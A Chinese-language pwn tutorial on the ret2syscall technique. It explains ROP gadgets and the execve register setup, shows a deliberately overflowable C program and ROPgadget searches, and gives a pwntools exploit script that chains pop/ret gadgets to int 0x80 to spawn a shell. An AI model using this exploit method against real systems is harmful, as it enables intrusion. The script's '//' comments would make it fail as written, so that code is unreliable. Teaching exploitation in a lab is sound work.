ret2syscall原理詳解與實例分析
對於初學pwn的同學來說,在學習ret2syscall的時候,看到其原理爲“控制程序執行系統調用,獲取 shell”,那麼怎麼理解“控制程序執行系統調用,獲取 shell”這句話呢?
0×01 背景知識
1、rop:在棧緩衝區溢出的基礎上,利用程序中已有的小片段 (gadgets) 來改變某些寄存器或者變量的值,從而控制程序的執行流程。
2、gadgets:在程序中的指令片段,有時我們爲了達到我們執行命令的目的,需要多個gadget來完成我們的功能。gadget最後一般都有ret,因爲我們需要將程序控制權(EIP)給下一個gadget。即讓程序自動持續的選擇堆棧中的指令依次執行。
3、ropgadgets:一個pwntools的一個命令行工具,用來具體尋找gadgets的。例如:我們從pop、ret序列當中尋找其中的eax
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
4、在linux系統中,函數的調用是有一個系統調用號的。我們實驗要調用的execve(“/bin/sh”,null,null)函數其系統調用號是11,即十六進制0xb。
0×02 原理詳解
這裏需要重點理解“系統調用”,從 https://blog.csdn.net/qq_33948522/article/details/93880812 瞭解到系統調用的原理。
對於初學pwn的同學來說,怎麼理解上面的知識呢?我們不妨拿execve(“/bin/sh”,null,null)這個函數來理解上面內容。首先,其函數的調用過程爲:
系統調用號,即 eax 應該爲 0xb 第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。 第二個參數,即 ecx 應該爲 0 第三個參數,即 edx 應該爲 0
系統在運行的時候會使用上面四個寄存器,所以那麼上面內容我們可以寫爲int 0×80(eax,ebx,ecx,edx)。只要我們把對應獲取 shell 的系統調用的參數放到對應的寄存器中,那麼我們再執行 int 0×80 就可執行對應的系統調用。
但是我們該怎麼控制這些寄存器的值?
在我們最開始學習彙編函數的時候,我們最常用到的就是push,pop,ret指令,而這一次我們將使用pop和ret的組合來控制寄存器的值以及執行方向。例如:在一個棧上,假設棧頂的值爲2,當我們pop eax,時,2就會存進eax寄存器。同樣的,我們可以用同樣的方法完成execve()函數參數的控制
pop eax# 系統調用號載入, execve爲0xb pop ebx# 第一個參數, /bin/sh的string pop ecx# 第二個參數,0 pop edx# 第三個參數,0
這樣寄存器的值可以控制了。然後使用gadgets讓這一連串的pop命令順序連接執行 ,最後使用的ret指令 ,進而控制程序執行流程。
0×03 實例分析
這是我們的實驗程序7.c,裏面func函數里的read函數會發生溢出。
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int main() { func(); return 0; }
將其編譯,不使用堆棧保護,且需要設置成靜態編譯即-static,否則將找不到這個程序的指令流。
gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
找出其溢出位置:
通過ROPgadget這個工具來獲取7.exe中這些指令的位置。
從pop、ret序列當中尋找其中的eax
ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
從pop、ret序列當中尋找其中的ebx、ecx、dex
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
找”/bin/sh”這個字符串的地址
ROPgadget --binary ./7.exe --string "/bin/sh"
int中斷找”0×80″
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
寫出exp
from pwn import * context(arch="i386",os="linux") p=process('./7.exe') offset = 44//溢出位置 add_eax=p32(0x080aaa06)// pop eax ; ret 的地址 value_eax=p32(0xb) //eax的值是0xb add_edx_ecx_ebx=p32(0x0806f711)//pop edx;pop ecx; pop ebx ;ret 的地址 value_ebx=p32(0x080ae008)//ebx指向/bin/sh的地址 value_ecx=p32(0)//ecx的值爲0 value_edx=p32(0)//edx的值爲0 add_int=p32(0x0804a3d2) payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int p.sendline(payload) p.interactive()
成功getsehll